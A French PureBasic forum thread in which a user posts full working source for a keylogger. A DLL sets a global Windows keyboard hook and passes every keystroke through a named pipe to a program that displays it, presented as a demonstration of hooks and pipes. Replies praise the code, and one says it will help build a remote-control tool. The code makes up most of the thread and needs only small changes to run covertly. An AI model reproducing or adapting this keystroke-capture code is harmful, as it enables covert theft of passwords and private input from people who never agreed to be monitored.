keylogger

Programmation d'applications complexes
hardy
Messages : 333
Inscription : mer. 02/juin/2004 13:19
Localisation : Tours

keylogger

Message par hardy »

Je regardais la doc sur les "hooks", et en ai profité pour faire un keylogger. (on peut faire autrement)
je mets le code ici : ça peut être utile pour voir comment mettre en place un hook, et j'en ai profité pour mettre en oeuvre un pipe.

la première partie à compiler comme DLL sous le nom "c:\hook.dll"

Code : Tout sélectionner

Global n,state.b,hhook,init

init=1

Procedure envoi()

WaitNamedPipe_("\\.\pipe\hookpipe", 3000)
Hpipe = CreateFile_("\\.\pipe\hookpipe", #GENERIC_READ |#GENERIC_WRITE, 0, #Null, #OPEN_EXISTING,0, #Null)

If Hpipe
  If state
  Buffer_Ecriture.s="Touche = chr("+Str(n)+") pressée"
  Else
  Buffer_Ecriture.s="Touche = chr("+Str(n)+") relachée"
  EndIf
  WriteFile_(Hpipe,@Buffer_Ecriture,Len(Buffer_Ecriture), @envoye, 0)
  FlushFileBuffers_(Hpipe)
  If init
  Buffer_Lecture.s=Space(100)
  ReadFile_(Hpipe, @Buffer_Lecture, Len(Buffer_Lecture), @recu, 0)
  hhook=Val(Buffer_Lecture)
  init=0
  EndIf
EndIf
CloseHandle_(Hpipe)

EndProcedure


ProcedureDLL hook(ncode,wparam,lparam)


If ncode+1
n=wparam
state=1+lparam>>31
CreateThread(@envoi(),wparam)
EndIf
 
ProcedureReturn CallNextHookEx_(hhook,ncode,wparam,lparam)
EndProcedure


et le programme à lancer ensuite :

Code : Tout sélectionner


#PIPE_ACCES_DUPLEX=3


Global Buffer_Ecriture.s,Buffer_Lecture.s,init,hhook
Buffer_Ecriture=Space(100)
Buffer_Lecture=Space(100)
init=1


Procedure Thread_Client(pipe.l)
Repeat
  fConnected = ConnectNamedPipe_(pipe, #Null)
  
  If fConnected
   
  ReadFile_(pipe, @Buffer_Lecture, Len(Buffer_Lecture), @recu, 0)
  AddGadgetItem(0, 0, Buffer_Lecture) 
  If init
  Buffer_Ecriture=Str(hhook)
  WriteFile_(pipe,@Buffer_Ecriture,Len(Buffer_Ecriture), @envoye, 0)
  FlushFileBuffers_(pipe)
  init=0
  EndIf  
  
  EndIf 
  
  DisconnectNamedPipe_(pipe)

ForEver

EndProcedure

lib.s="c:\hook.dll"
hmodule=LoadLibrary_(@lib)
proc.s="hook"
adresse=GetProcAddress_(hmodule,@proc)

If OpenWindow(0,0,0,600,200,#PB_Window_SystemMenu|#PB_Window_ScreenCentered,"Test hook") And CreateGadgetList(WindowID(0))
EditorGadget (0,10,10,580,160,#PB_Container_Raised)

Hpipe=CreateNamedPipe_("\\.\pipe\hookpipe", #PIPE_ACCES_DUPLEX, #PIPE_TYPE_MESSAGE | #PIPE_READMODE_MESSAGE, 1, 100, 100, 3000, 0)
If Hpipe
AddGadgetItem(0, 0,"serveur créé")
EndIf


hhook=SetWindowsHookEx_(#WH_KEYBOARD,adresse,hmodule,0)
If hhook
AddGadgetItem(0,0,"hook établi. hhook="+Str(hhook))
EndIf

Thread=CreateThread(@Thread_Client(),Hpipe)

Repeat
    Event= WaitWindowEvent()
    Select Event
             
      Case #PB_Event_CloseWindow
        KillThread(Thread)
        CloseHandle_(Hpipe)
        UnhookWindowsHookEx_(hhook)
      Quit = 1
    EndSelect
   
Until Quit = 1
EndIf

Ca m'a l'air de pouvoir être assez utile, les hooks (ne concerne pas que le clavier)
Ce sont des choses qui s'intercalent sur les canaux de communication et permettent de lire, et pour certains de modifier, les messages envoyés aux diverses fenêtres.
Ce qui est un peu contraignant pour la programmation, c'est qu'un hook global doit être dans une DLL (d'où le code précédent).
gansta93
Messages : 1448
Inscription : jeu. 26/févr./2004 11:17
Localisation : Le Village
Contact :

Message par gansta93 »

Quelqu'un l'a-t-il testé sous Win 98 ? pr moi ça fait une erreur "ce programme va être arrêté" mais il s'arrête pas g qd mm la fenêtre et j'ai serveur créé et c tout...
CameleonTH
Messages : 333
Inscription : sam. 25/juin/2005 11:18
Localisation : Laon (02)
Contact :

Message par CameleonTH »

Génial j'essayais d'en faire un mais pas super, en tous super ton travail et merci de ce précieu code.
Avatar de l’utilisateur
Droopy
Messages : 1151
Inscription : lun. 19/juil./2004 22:31

Message par Droopy »

Merci, ça va m'être utile pour créer un outil de prise de contrôle à distance
Répondre